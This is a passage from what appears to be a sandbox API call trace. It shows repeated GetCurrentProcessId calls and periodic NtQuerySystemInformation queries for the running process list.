() returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.250] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.251] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.252] GetCurrentProcessId () returned 0xd70 [0108.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c428) returned 0x0 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.814] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.815] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.816] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0108.817] GetCurrentProcessId () returned 0xd70 [0109.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c138) returned 0x0 [0109.384] GetCurrentProcessId () returned 0xd70 [0109.384] GetCurrentProcessId () returned 0xd70 [0109.384] GetCurrentProcessId () returned 0xd70 [0109.384] GetCurrentProcessId () returned 0xd70 [0109.384] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.385] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.386] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.387] GetCurrentProcessId () returned 0xd70 [0109.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c1d8) returned 0x0 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.005] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.006] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.007] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.008] GetCurrentProcessId () returned 0xd70 [0110.614] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c098) returned 0x0 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.615] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.616] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.617] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0110.618] GetCurrentProcessId () returned 0xd70 [0111.129] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc18) returned 0x0 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.146] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.147] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.148] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] 